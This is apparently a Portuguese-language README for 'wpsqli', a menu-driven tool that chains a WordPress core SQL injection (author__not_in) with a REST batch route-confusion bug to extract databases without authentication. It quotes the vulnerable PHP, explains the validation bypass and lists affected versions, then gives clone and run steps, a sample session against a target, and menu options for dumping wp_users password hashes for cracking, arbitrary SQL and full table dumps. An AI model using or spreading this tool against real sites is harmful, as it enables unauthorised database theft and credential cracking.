
wpsqli extrator completo de SQLi + dumper para CVE-2026-60137
Uma ferramenta rápida de extração de banco de dados orientada a menu que explora a vulnerabilidade de injeção SQL
author__not_inno núcleo do WordPress. Esta ferramenta se concentra puramente na enumeração e no despejo de banco de dados, utilizando a confusão de rotas do lote REST (CVE-2026-63030) para alcançar o sink de SQLi sem autenticação.
wpsqli é uma ferramenta puramente em Python projetada para explorar uma vulnerabilidade encadeada no núcleo do WordPress que permite injeção SQL sem autenticação no banco de dados. Ela contorna a validação da REST API do WordPress por meio de um bug de confusão de rotas no lote, entregando um payload de string bruto diretamente ao sink SQL do WP_Query.
Esta ferramenta foi construída para velocidade e flexibilidade: ela tenta automaticamente a extração in-band baseada em UNION (instantânea), recorre à extração booleana-cega paralela com 8 threads e, por fim, à extração sequencial baseada em tempo, se necessário.
Esta ferramenta encadeia duas vulnerabilidades independentes para alcançar a extração não autenticada do banco de dados:
author__not_in (CVE-2026-60137)Local: wp-includes/class-wp-query.php, WP_Query::get_posts()
O parâmetro author__not_in só aplica a sanitização absint() se a entrada for um array. Se uma string for passada, a proteção is_array() é ignorada, a string passa por implode() inalterada e é concatenada crua na cláusula SQL $where.
// Line 2404: guard only fires for ARRAYS
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
// Line 2408: string passes straight through
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
// Line 2409: raw interpolation
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
O endpoint de posts da REST API mapeia author_exclude para author__not_in, mas o declara como type => 'array' de inteiros, então o núcleo coage/rejeita uma string. O Bug B contrabandeia a string para além da validação ao abusar de um bug de dessincronização no endpoint de lote da REST (/wp-json/batch/v1). Ao injetar um primer de caminho malformado que wp_parse_url() rejeita, um WP_Error é semeado na lista de requisições do lote, dessincronizando $matches de $validation. Isso permite que uma sub-requisição seguinte seja despachada sob o manipulador errado, sem validação de parâmetros.
| Faixa de Versões | Status |
|---|---|
| 6.8.0 – 6.8.5 | Bug de SQLi presente, mas cadeia NÃO alcançável (confusão de lote introduzida na 6.9.0) |
| 6.9.0 – 6.9.4 | VULNERÁVEL — cadeia completa sem autenticação |
| 7.0.0 – 7.0.1 | VULNERÁVEL — cadeia completa sem autenticação |
| 6.8.6 | Corrigido (SQLi) |
| 6.9.5 | Corrigido |
| 7.0.2 | Corrigido |
| 7.1-beta2+ | Corrigido |
Ressalva: O sink de SQLi só é alcançado quando um cache de objetos persistente (Redis/Memcached) NÃO está em uso.
pip install necessário.wp_posts falsa para extrair strings inteiras em uma única requisição HTTP (instantânea).Ctrl+C durante a extração interrompe a consulta atual e retorna resultados parciais sem derrubar a sessão.ID|user_login|user_pass com hashes bcrypt prontos para hashcat -m 35500.Nenhuma instalação é necessária. Basta baixar e executar:
# Clone the repository
git clone https://github.com/AdarshThakur14777-cyber/CVE-2026-60137.git
# Navigate to directory
cd CVE-2026-60137
# Run
python main.py
Requisitos:
Inicie o menu interativo:
python main.py
============================================================
WP SQLi Extractor v3 (CVE-2026-60137)
============================================================
------------------------------------------------------------
CONNECTION
0. Connect / Change target
1. Check target (version + vuln confirm)
------------------------------------------------------------
FINGERPRINTING
2. MySQL version (@@version)
3. Current database name
4. Current DB user
5. WordPress table prefix
6. Dump wp_users (ID, login, pass hash)
7. Custom SQL query
8. Extract all fingerprints (2+3+4+5)
------------------------------------------------------------
ENUMERATION
9. List all databases
10. List all tables (current DB)
11. List columns of a table
------------------------------------------------------------
DUMPING
12. Dump a specific table
13. Dump all tables (current DB)
14. Full dump to file (all tables + all rows)
------------------------------------------------------------
15. Exit
============================================================
Choice: 0
Target (https://example.com): https://target.com
Skip TLS verify? (y/N):
Sleep delay for time-based (default 3):
[*] Connecting to https://target.com ...
[+] Batch endpoint: https://target.com/wp-json/batch/v1
[*] WordPress version: 6.9.4 VULNERABLE
[*] Testing UNION-based extraction ...
[!] UNION not available — trying boolean blind (8 parallel threads) ...
[+] Boolean-blind mode active (8 threads, ~7 reqs/char)
[+] Time-based also works (0.69s vs 3.78s)
| Opção | Descrição |
|---|---|
0 | Conectar a um alvo (sanitiza URLs automaticamente) |
1 | Verificar a vulnerabilidade e o modo de extração ativo |
| Opção | Descrição |
|---|---|
2 | Extrair a versão do MySQL (SELECT @@version) |
3 | Extrair o nome do banco de dados atual (SELECT DATABASE()) |
4 | Extrair o usuário atual do banco de dados (SELECT CURRENT_USER()) |
5 | Extrair o prefixo das tabelas do WordPress |
6 | Despejar a tabela wp_users (ID, login, hash da senha) |
7 | Executar uma consulta SQL personalizada |
8 | Executar todos os fingerprints (opções 2-5) em sequência |
| Opção | Descrição |
|---|---|
9 | Listar todos os bancos de dados no servidor MySQL |
10 | Listar todas as tabelas no banco de dados atual ou especificado |
11 | Listar todos os nomes de colunas de uma tabela específica |